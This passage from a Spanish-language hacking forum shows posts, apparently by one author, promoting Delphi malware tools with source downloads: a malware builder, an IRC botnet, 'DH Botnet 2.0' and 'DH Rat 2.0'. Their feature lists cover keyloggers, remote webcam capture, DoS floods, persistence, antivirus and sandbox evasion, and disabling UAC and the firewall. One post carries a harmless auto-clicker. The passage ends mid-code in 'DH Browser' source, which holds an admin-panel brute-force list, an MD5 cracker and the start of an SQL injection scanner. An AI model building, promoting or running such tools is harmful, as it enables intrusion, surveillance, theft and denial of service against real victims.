    [++] Beep Bomber
    [++] Bloquear el teclado y el mouse
    [++] Cambiar y bloquear el wallpaper
    [++] Cambiar y bloquear el screensaver
    [++] Printer Bomber
    [++] Form Bomber
    [++] HTML Bomber
    [++] Windows Bomber
    [++] Descargar y ejecutar malware con threads

  • Antidoto :

    [++] Activar Firewall
    [++] Activar Regedit
    [++] Activar UAC
    [++] Activar CMD
    [++] Activar Run
    [++] Restaurar y desbloquear wallpaper o screensaver
    [++] Activar Taskmgr
    [++] Activar Updates
    [++] Restaurar texto de taskbar
    [++] Mostrar de nuevo iconos o taskbar

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Unas imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=ejVc4RsCQH8[/youtube]

    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    SourceForge.
    Github.

    Eso seria todo.
#13
Una IRC Botnet hecha en Delphi.

Tiene las siguientes opciones :

  • Principales :

    [++] Conectar a cualquier servidor irc
    [++] Permite servidor IRC secundario
    [++] Establecer timeout por cada respuesta
    [++] El infectado puede usar un nick configurado o la ip codificada

  • Funciones

    [++] Listar directorio
    [++] Leer archivos
    [++] Borrar archivos
    [++] Listar procesos
    [++] Matar procesos por nombre
    [++] Ejecutar y leer comandos
    [++] Activar y desactivar regedit
    [++] Activar y desactivar firewall
    [++] Abrir y cerrar CD
    [++] Mostrar y ocultar iconos
    [++] Mostrar y ocultar taskbar
    [++] Mostrar mensajes
    [++] Message Bomber
    [++] Enviar teclas
    [++] Ejecutar Word y hacer que escriba solo
    [++] Volver loco al mouse
    [++] Volver loca la hora
    [++] Apagar,reiniciar y cerrar sesion
    [++] Abrir paginas
    [++] Abrir paint
    [++] Cambiar el texto del taskbar
    [++] Apagar el monitor
    [++] Hacer hablar a la computadora
    [++] Beeps Bomber
    [++] Listar drives,servicios y ventanas activas
    [++] Descargar y ejecutar en segundo plano con threads
    [++] Cambiar y bloquear el wallpaper
    [++] Cambiar y bloquear el screensaver
    [++] Printer Bomber
    [++] Form Bomber
    [++] HTML Bomber
    [++] Windows Bomber
    [++] Bloquear el mouse y el teclado
    [++] Keylogger
    [++] Desintalador

  • DoS :

    [++] SQLI Dos
    [++] HTTP Flood
    [++] Socket Flood
    [++] Slowloris
    [++] UDP Flood

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Unas imagenes :





    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=AJUr7fy2Gyo[/youtube]

    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    SourceForge.
    Github.

    Eso seria todo.

    MOD: Imagen adaptada a lo usado en el foro.
#14
Programación General / [Delphi] DH Botnet 2.0
14 Octubre 2016, 16:16 PM
Una Botnet hecha en Delphi.

Tiene las siguientes opciones :

  • Principales :

    [++] Generar Key por cada infectado
    [++] Generar App en PHP de la botnet desde la GUI principal

  • Funciones

    [++] Listar directorio
    [++] Leer archivos
    [++] Borrar archivos
    [++] Listar procesos
    [++] Matar procesos por nombre
    [++] Ejecutar y leer comandos
    [++] Activar y desactivar regedit
    [++] Activar y desactivar firewall
    [++] Abrir y cerrar CD
    [++] Mostrar y ocultar iconos
    [++] Mostrar y ocultar taskbar
    [++] Mostrar mensajes
    [++] Message Bomber
    [++] Enviar teclas
    [++] Ejecutar Word y hacer que escriba solo
    [++] Volver loco al mouse
    [++] Volver loca la hora
    [++] Apagar,reiniciar y cerrar sesion
    [++] Abrir paginas
    [++] Abrir paint
    [++] Cambiar el texto del taskbar
    [++] Apagar el monitor
    [++] Hacer hablar a la computadora
    [++] Beeps Bomber
    [++] Listar drives,servicios y ventanas activas
    [++] Descargar y ejecutar en segundo plano con threads
    [++] Cambiar y bloquear el wallpaper
    [++] Cambiar y bloquear el screensaver
    [++] Printer Bomber
    [++] Form Bomber
    [++] HTML Bomber
    [++] Windows Bomber
    [++] Bloquear el mouse y el teclado
    [++] Keylogger
    [++] Desintalador

  • DoS :

    [++] SQLI Dos
    [++] HTTP Flood
    [++] Socket Flood
    [++] Slowloris
    [++] UDP Flood

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Unas imagenes :





    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=6CHLniepmUs[/youtube]

    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    SourceForge.
    Github.

    Eso seria todo.

    MOD: Imagen adaptada a lo permitido en el foro.
#15
Programación General / [Delphi] DH Rat 2.0
12 Octubre 2016, 21:07 PM
Un Rat hecho en Delphi.

Tiene las siguientes opciones :

  • Principales :

    [++] Conexion reversa
    [++] Conexion codificada

  • Funciones

    [++] Listar directorio
    [++] Leer archivos
    [++] Borrar archivos
    [++] Listar procesos
    [++] Matar procesos por nombre
    [++] Ejecutar y leer comandos
    [++] Activar y desactivar regedit
    [++] Activar y desactivar firewall
    [++] Abrir y cerrar CD
    [++] Mostrar y ocultar iconos
    [++] Mostrar y ocultar taskbar
    [++] Mostrar mensajes
    [++] Message Bomber
    [++] Enviar teclas
    [++] Ejecutar Word y hacer que escriba solo
    [++] Volver loco al mouse
    [++] Volver loca la hora
    [++] Apagar,reiniciar y cerrar sesion
    [++] Abrir paginas
    [++] Abrir paint
    [++] Cambiar el texto del taskbar
    [++] Apagar el monitor
    [++] Hacer hablar a la computadora
    [++] Beeps Bomber
    [++] Listar drives,servicios y ventanas activas
    [++] Descargar y ejecutar en segundo plano con threads
    [++] Cambiar y bloquear el wallpaper
    [++] Cambiar y bloquear el screensaver
    [++] Printer Bomber
    [++] Form Bomber
    [++] HTML Bomber
    [++] Windows Bomber
    [++] Bloquear el mouse y el teclado
    [++] Capturar la webcam de forma remota
    [++] Capturar el escritorio de forma remota
    [++] Keylogger
    [++] Desintalador

  • DoS :

    [++] SQLI Dos
    [++] HTTP Flood
    [++] Socket Flood
    [++] Slowloris
    [++] UDP Flood

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=SD8DNmtr-jI[/youtube]

    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    SourceForge.
    Github.

    Eso seria todo.
#16
Un programa en Delphi para usar un clicker automatico para juegos o lo que sea.

Opciones :

  • Capturar posicion del mouse para usar en el programa
  • Timeout para cada click
  • Teclas de acceso rapido para empezar y terminar el clicker
  • Clicks en posiciones aleatorias
  • Los Clicks que permite son izquierda,medio,derecha y doble click

    Una imagen :



    El codigo :

    Código (delphi) [Seleccionar]

    // DH Auto Clicker 0.6
    // (C) Doddy Hackman 2016

    unit auto_clicker;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
      Vcl.ComCtrls, Math, Vcl.ImgList, Vcl.Imaging.pngimage;

    type
      TFormHome = class(TForm)
        logo: TImage;
        gbMousePosition: TGroupBox;
        lblXPosition: TLabel;
        txt_X_Now: TEdit;
        lblYPosition: TLabel;
        txt_Y_Now: TEdit;
        gbOptions: TGroupBox;
        lblType: TLabel;
        cmbType: TComboBox;
        lblSleep: TLabel;
        txtSleep: TEdit;
        lblXSelect: TLabel;
        txt_X_Select: TEdit;
        lblYSelect: TLabel;
        txt_Y_Select: TEdit;
        lblSeconds: TLabel;
        btnGetPosition: TButton;
        cbUseRandomClicks: TCheckBox;
        btnStart: TButton;
        btnStop: TButton;
        status: TStatusBar;
        tmGetMousePosition: TTimer;
        tmClicker: TTimer;
        notificar: TTrayIcon;
        tmHookKeys: TTimer;
        ilIconos: TImageList;
        procedure tmGetMousePositionTimer(Sender: TObject);
        procedure btnGetPositionClick(Sender: TObject);
        procedure tmClickerTimer(Sender: TObject);
        procedure notificarClick(Sender: TObject);
        procedure tmHookKeysTimer(Sender: TObject);
        procedure btnStartClick(Sender: TObject);
        procedure btnStopClick(Sender: TObject);
      private
        { Private declarations }
      public
        procedure capturar_posicion_mouse();
        procedure iniciar_clicker();
        procedure desactivar_clicker();
      end;

    var
      FormHome: TFormHome;

    implementation

    {$R *.dfm}

    function message_box(title, message_text, type_message: string): string;
    begin
      if not(title = '') and not(message_text = '') and not(type_message = '') then
      begin
        try
          begin
            if (type_message = 'Information') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONINFORMATION);
            end
            else if (type_message = 'Warning') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONWARNING);
            end
            else if (type_message = 'Question') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONQUESTION);
            end
            else if (type_message = 'Error') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONERROR);
            end
            else
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONINFORMATION);
            end;
            Result := '[+] MessageBox : OK';
          end;
        except
          begin
            Result := '[-] Error';
          end;
        end;
      end
      else
      begin
        Result := '[-] Error';
      end;
    end;

    procedure mouse_click(option: string);
    // Function based in : http://www.swissdelphicenter.ch/torry/showcode.php?id=360
    // Thanks to Thomas Stutz
    begin
      if (option = 'left') then
      begin
        mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
      end
      else if (option = 'right') then
      begin
        mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
      end
      else if (option = 'middle') then
      begin
        mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
      end
      else if (option = 'double') then
      begin
        mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
        GetDoubleClickTime;
        mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
      end
      else
      begin
        mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
      end;
    end;

    procedure TFormHome.iniciar_clicker();
    begin
      if (cmbType.ItemIndex <> -1) and not(txt_X_Select.Text = '') and
        not(txt_Y_Select.Text = '') and not(txtSleep.Text = '') then
      begin
        tmClicker.Interval := StrToInt(txtSleep.Text) * 1000;
        tmClicker.Enabled := True;
        status.Panels[0].Text := '[+] Working ...';
        FormHome.Update;
        notificar.BalloonTitle := 'DH Auto Clicker';
        notificar.BalloonHint := 'Clicker Started';
        notificar.ShowBalloonHint;
      end
      else
      begin
        message_box('DH Auto Clicker 0.6', 'Complete the options', 'Warning');
      end;
    end;

    procedure TFormHome.desactivar_clicker();
    begin
      tmClicker.Enabled := False;
      status.Panels[0].Text := '[+] Stopped';
      FormHome.Update;
      notificar.BalloonTitle := 'DH Auto Clicker';
      notificar.BalloonHint := 'Clicker Stopped';
      notificar.ShowBalloonHint;
    end;

    procedure TFormHome.btnStartClick(Sender: TObject);
    begin
      iniciar_clicker();
    end;

    procedure TFormHome.btnStopClick(Sender: TObject);
    begin
      desactivar_clicker();
    end;

    procedure TFormHome.capturar_posicion_mouse();
    begin
      txt_X_Select.Text := txt_X_Now.Text;
      txt_Y_Select.Text := txt_Y_Now.Text;
      status.Panels[0].Text := '[+] Position updated';
      FormHome.Update;
      notificar.BalloonTitle := 'DH Auto Clicker';
      notificar.BalloonHint := 'Position updated';
      notificar.ShowBalloonHint;
    end;

    procedure TFormHome.notificarClick(Sender: TObject);
    begin
      Show();
      WindowState := wsNormal;
      Application.BringToFront();
    end;

    procedure TFormHome.btnGetPositionClick(Sender: TObject);
    begin
      capturar_posicion_mouse();
    end;

    procedure TFormHome.tmGetMousePositionTimer(Sender: TObject);
    var
      ubicacion: tPoint;
    begin
      ubicacion := Mouse.CursorPos;
      txt_X_Now.Text := IntToStr(ubicacion.X);
      txt_Y_Now.Text := IntToStr(ubicacion.Y);
    end;

    procedure TFormHome.tmHookKeysTimer(Sender: TObject);
    var
      i: integer;
      re: Longint;
    begin
      for i := 119 to 124 do
      begin
        re := GetAsyncKeyState(i);
        If re = -32767 then
        Begin
          if (i = 120) then
          begin
            capturar_posicion_mouse();
          end
          else if (i = 122) then
          begin
            iniciar_clicker();
          end
          else if (i = 123) then
          begin
            desactivar_clicker();
          end
          else
          begin
            // ?
          end;
        End;
      End;
    end;

    procedure TFormHome.tmClickerTimer(Sender: TObject);
    var
      tipo: integer;
      nombre_tipo: string;
      X: integer;
      Y: integer;
      time_sleep: integer;
    begin

      tipo := cmbType.ItemIndex;
      nombre_tipo := '';

      if (tipo = 0) then
      begin
        nombre_tipo := 'left';
      end
      else if (tipo = 1) then
      begin
        nombre_tipo := 'middle';
      end
      else if (tipo = 2) then
      begin
        nombre_tipo := 'right';
      end
      else if (tipo = 3) then
      begin
        nombre_tipo := 'double';
      end
      else
      begin
        nombre_tipo := 'left';
      end;

      X := 0;
      Y := 0;

      if (cbUseRandomClicks.Checked) then
      begin
        X := RandomRange(1, 2000);
        Y := RandomRange(1, 1000);
      end
      else
      begin
        X := StrToInt(txt_X_Select.Text);
        Y := StrToInt(txt_Y_Select.Text);
      end;

      time_sleep := StrToInt(txtSleep.Text) * 1000;

      SetCursorPos(X, Y);

      mouse_click(nombre_tipo);

    end;

    end.

    // The End ?


    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    SourceForge.

    Eso seria todo.
#17
Un programa en Delphi para codificar cualquier imagen a Base64 para usar en HTML , se puede copiar el codigo en el portapapeles o guardar en un archivo desde el programa mismo.

Una imagen :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.

Eso seria todo.
#18
Programación General / [Delphi] DH Browser 1.0
5 Septiembre 2016, 02:33 AM
Un navegador web en Delphi con las siguientes opciones :

  • Podes ver el codigo fuente de la pagina cargado
  • Se puede modificar los headers para HTTP Header Injection
  • Se puede buscar palabras en el codigo fuente
  • SQLI Scanner incorporado
  • Admin Finder incorporado
  • Crack MD5 incorporado

    Una imagen :



    El codigo :

    Código (delphi) [Seleccionar]

    // DH Browser 1.0
    // (C) Doddy Hackman 2016
    // Credits :
    // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
    // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
    // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

    unit dh;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.OleCtrls, SHDocVw,
      Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.ComCtrls, mshtml, Vcl.Menus,
      IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
      IdMultipartFormData, Vcl.ImgList, Vcl.Styles.Utils.ComCtrls,
      Vcl.Styles.Utils.Menus,
      Vcl.Styles.Utils.SysStyleHook,
      Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
      Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;

    type
      TFormHome = class(TForm)
        gbEnterPage: TGroupBox;
        btnEnter: TButton;
        gbHeaders: TGroupBox;
        mmHeaders: TMemo;
        GroupBox3: TGroupBox;
        GroupBox4: TGroupBox;
        gbAbout: TGroupBox;
        txtURL: TEdit;
        imgLogo: TImage;
        imgAbout: TImage;
        btnSQLI_Scanner: TButton;
        btnAdminFinder: TButton;
        btnCrack_MD5: TButton;
        btnSearch_for_text: TButton;
        cbUse_This_Headers: TCheckBox;
        browser: TWebBrowser;
        status: TStatusBar;
        progreso: TProgressBar;
        mmSource: TMemo;
        menu: TPopupMenu;
        ShowSourceHTML1: TMenuItem;
        ShowBrowser1: TMenuItem;
        nave: TIdHTTP;
        buscar_codigo: TFindDialog;
        ilIconos: TImageList;
        lblAbout: TLabel;
        procedure btnEnterClick(Sender: TObject);
        procedure browserDownloadComplete(Sender: TObject);
        procedure browserProgressChange(ASender: TObject;
          Progress, ProgressMax: Integer);
        procedure ShowSourceHTML1Click(Sender: TObject);
        procedure ShowBrowser1Click(Sender: TObject);
        procedure btnSQLI_ScannerClick(Sender: TObject);
        procedure btnAdminFinderClick(Sender: TObject);
        procedure btnCrack_MD5Click(Sender: TObject);
        procedure btnSearch_for_textClick(Sender: TObject);
        procedure buscar_codigoFind(Sender: TObject);
        procedure FormCreate(Sender: TObject);

      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      FormHome: TFormHome;

    implementation

    {$R *.dfm}

    procedure TFormHome.btnAdminFinderClick(Sender: TObject);
    const
      paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
        'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
        'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
        'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
        'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
        'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
        'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
        'login/index.asp', 'login/index.aspx', 'login/login.asp',
        'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
        'administracion/index.asp', 'administracion/index.aspx',
        'administracion/login.asp', 'administracion/login.aspx',
        'administracion/webmaster.asp', 'administracion/webmaster.aspx',
        'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
        'admin/admin.php', 'admin/index.php', 'admin/login.php', 'admin/system.php',
        'admin/ingresar.php', 'admin/administrador.php', 'admin/default.php',
        'administracion/', 'administracion/index.php', 'administracion/login.php',
        'administracion/ingresar.php', 'administracion/admin.php',
        'administration/', 'administration/index.php', 'administration/login.php',
        'administrator/index.php', 'administrator/login.php',
        'administrator/system.php', 'system/', 'system/login.php', 'admin.php',
        'login.php', 'administrador.php', 'administration.php', 'administrator.php',
        'admin1.html', 'admin1.php', 'admin2.php', 'admin2.html', 'yonetim.php',
        'yonetim.html', 'yonetici.php', 'yonetici.html', 'adm/',
        'admin/account.php', 'admin/account.html', 'admin/index.html',
        'admin/login.html', 'admin/home.php', 'admin/controlpanel.html',
        'admin/controlpanel.php', 'admin.html', 'admin/cp.php', 'admin/cp.html',
        'cp.php', 'cp.html', 'administrator/', 'administrator/index.html',
        'administrator/login.html', 'administrator/account.html',
        'administrator/account.php', 'administrator.html', 'login.html',
        'modelsearch/login.php', 'moderator.php', 'moderator.html',
        'moderator/login.php', 'moderator/login.html', 'moderator/admin.php',
        'moderator/admin.html', 'moderator/', 'account.php', 'account.html',
        'controlpanel/', 'controlpanel.php', 'controlpanel.html',
        'admincontrol.php', 'admincontrol.html', 'adminpanel.php',
        'adminpanel.html', 'admin1.asp', 'admin2.asp', 'yonetim.asp',
        'yonetici.asp', 'admin/account.asp', 'admin/home.asp',
        'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
        'administrator/index.asp', 'administrator/login.asp',
        'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
        'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
        'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
        'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
        'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
        'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
        'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
        'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
        'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
        'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
        'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
        'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
        'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
        'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
        'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
        'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
        'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
        'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
        'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
        'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
        'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
        'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
        'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
        'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/', 'vmailadmin/',
        'Indy_admin/', 'ccp14admin/', 'irc-macadmin/', 'banneradmin/', 'sshadmin/',
        'phpldapadmin/', 'macadmin/', 'administratoraccounts/', 'admin4_account/',
        'admin4_colon/', 'radmind1/', 'SuperAdmin/', 'AdminTools/', 'cmsadmin/',
        'SysAdmin2/', 'globes_admin/', 'cadmins/', 'phpSQLiteAdmin/',
        'navSiteAdmin/', 'server_admin_small/', 'logo_sysadmin/', 'server/',
        'database_administration/', 'power_user/', 'system_administration/',
        'ss_vms_admin_sm/');
    var
      i: Integer;
      control: Integer;

    var
      cabeceras: OLEVariant;
      uno: OLEVariant;
      dos: OLEVariant;
      tres: OLEVariant;

    begin

      if not(txtURL.Text = '') then
      begin
        control := 0;

        status.Panels[0].Text := '[+] Finding Panel ....';
        FormHome.status.Update;

        for i := Low(paginas) to High(paginas) do

          if (control = 1) then
          begin
            Abort;
          end
          else
          begin

            try

              status.Panels[0].Text := '[+] Testing : ' + paginas[i];
              FormHome.status.Update;

              nave.Get(txtURL.Text + '/' + paginas[i]);
              if nave.ResponseCode = 200 then
              begin

                txtURL.Text := txtURL.Text + '/' + paginas[i];

                uno := navNoReadFromCache or navNoWriteToCache;
                dos := '';
                tres := '';

                if (cbUse_This_Headers.Checked) then
                begin
                  cabeceras := mmHeaders.Text;
                  browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
                end
                else
                begin
                  cabeceras := '';
                  browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
                end;
                control := 1;
                status.Panels[0].Text := '[+] Panel Found';
                FormHome.status.Update;
                MessageBox(0, 'Panel Found', 'DH Browser 1.0', MB_ICONINFORMATION);
                Abort;
              end;
            except
              on E: EIdHttpProtocolException do;
              on E: Exception do;
            end;

          end;

        status.Panels[0].Text := '[-] Panel not found';
        FormHome.status.Update;
        MessageBox(0, 'Panel not found', 'DH Browser 1.0', MB_ICONERROR);
      end
      else
      begin
        MessageBox(0, 'Enter URL', 'DH Browser 1.0', MB_ICONINFORMATION);
      end;

    end;

    procedure TFormHome.browserDownloadComplete(Sender: TObject);
    var
      buscador: IHTMLElement;
    begin

      progreso.Position := 0;

      status.Panels[0].Text := '[+] Page loaded';
      FormHome.status.Update;

      // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

      begin

        try
          begin

            mmSource.Clear;

            buscador := (browser.Document AS IHTMLDocument2).body;

            while not(buscador.parentElement = nil) do
            begin
              buscador := buscador.parentElement;
            end;
            mmSource.Lines.Add(buscador.outerHTML);
          end;
        except
          // ??
        end;
      end;
    end;

    procedure TFormHome.browserProgressChange(ASender: TObject;
      Progress, ProgressMax: Integer);
    begin
      progreso.Max := ProgressMax;
      progreso.Position := Progress;
    end;

    procedure TFormHome.buscar_codigoFind(Sender: TObject);
    // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143

    var
      aca: PChar;
      aca2: PChar;
      acatoy: PChar;
      acatoy2: Word;

    begin

      With Sender as TFindDialog do

      begin

        GetMem(aca2, Length(FindText) + 1);
        StrPCopy(aca2, FindText);

        acatoy2 := mmSource.GetTextLen + 1;
        GetMem(aca, acatoy2);

        mmSource.GetTextBuf(aca, acatoy2);

        acatoy := aca + mmSource.SelStart + mmSource.SelLength;
        acatoy := StrPos(acatoy, aca2);

        if not(acatoy = NIL) then
        begin
          mmSource.SelStart := acatoy - aca;
          mmSource.SelLength := Length(FindText);
        end;

        mmSource.SetFocus;

      end;

    end;

    procedure TFormHome.btnCrack_MD5Click(Sender: TObject);
    var
      md5: string;
      datos: TIdMultiPartFormDataStream;
      code: string;
      regex_check: TPerlRegEx;
      cracked: string;
    begin

      md5 := InputBox('DH Browser 1.0', 'MD5 : ', '');

      if not(md5 = '') then
      begin
        regex_check := TPerlRegEx.Create();
        datos := TIdMultiPartFormDataStream.Create;
        datos.AddFormField('pass', md5);
        datos.AddFormField('option', 'hash2text');
        datos.AddFormField('send', 'Submit');

        status.Panels[0].Text := '[+] Cracking ...';
        FormHome.status.Update;

        code := nave.Post('http://md5online.net/index.php', datos);

        regex_check.regex :=
          '<center><p>md5 :<b>(.*?)</b> <br>pass : <b>(.*?)</b></p>';
        regex_check.Subject := code;

        if regex_check.Match then
        begin
          cracked := regex_check.Groups[2];
          status.Panels[0].Text := '[+] MD5 Cracked : ' + cracked;
          FormHome.status.Update;
          MessageBox(0, PChar('MD5 Cracked : ' + cracked), 'DH Browser 1.0',
            MB_ICONINFORMATION);

        end
        else
        begin
          status.Panels[0].Text := '[-] Not found';
          FormHome.status.Update;
          MessageBox(0, 'Not found', 'DH Browser 1.0', MB_ICONERROR);
        end;
      end;

    end;

    procedure TFormHome.btnEnterClick(Sender: TObject);
    // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242

    var

      cabeceras: OLEVariant;
      uno: OLEVariant;
      dos: OLEVariant;
      tres: OLEVariant;

    begin

      uno := navNoReadFromCache or navNoWriteToCache;
      dos := '';
      tres := '';

      if (cbUse_This_Headers.Checked) then
      begin
        cabeceras := mmHeaders.Text;
        browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
      end
      else
      begin
        cabeceras := '';
        browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
      end;

    end;

    procedure TFormHome.FormCreate(Sender: TObject);
    begin
      UseLatestCommonDialogs := False;
    end;

    procedure TFormHome.btnSearch_for_textClick(Sender: TObject);
    begin
      buscar_codigo.Execute;
    end;

    procedure TFormHome.ShowBrowser1Click(Sender: TObject);
    begin
      browser.Visible := True;
      mmSource.Visible := False;
    end;

    procedure TFormHome.ShowSourceHTML1Click(Sender: TObject);
    begin
      browser.Visible := False;
      mmSource.Visible := True;
    end;

    procedure TFormHome.btnSQLI_ScannerClick(Sender: TObject);
    var
      pass1: string;
      pass2: string;
      code: string;
      urltest: string;
      urlgen: string;
      full: string;
      codedos: string;
      i: Integer;
      regex_check: TPerlRegEx;

    var

      cabeceras: OLEVariant;
      uno: OLEVariant;
      dos: OLEVariant;
      tres: OLEVariant;

    begin

      if not(txtURL.Text = '') then
      begin
        regex_check := TPerlRegEx.Create();

        status.Panels[0].Text := '[+] SQLI Scanning ...';
        FormHome.status.Update;

        pass1 := '+';
        pass2 := '--';

        urltest := 'concat(0x4b30425241,1,0x4b30425241)';

        status.Panels[0].Text := '[+] Checking ...';
        FormHome.status.Update;

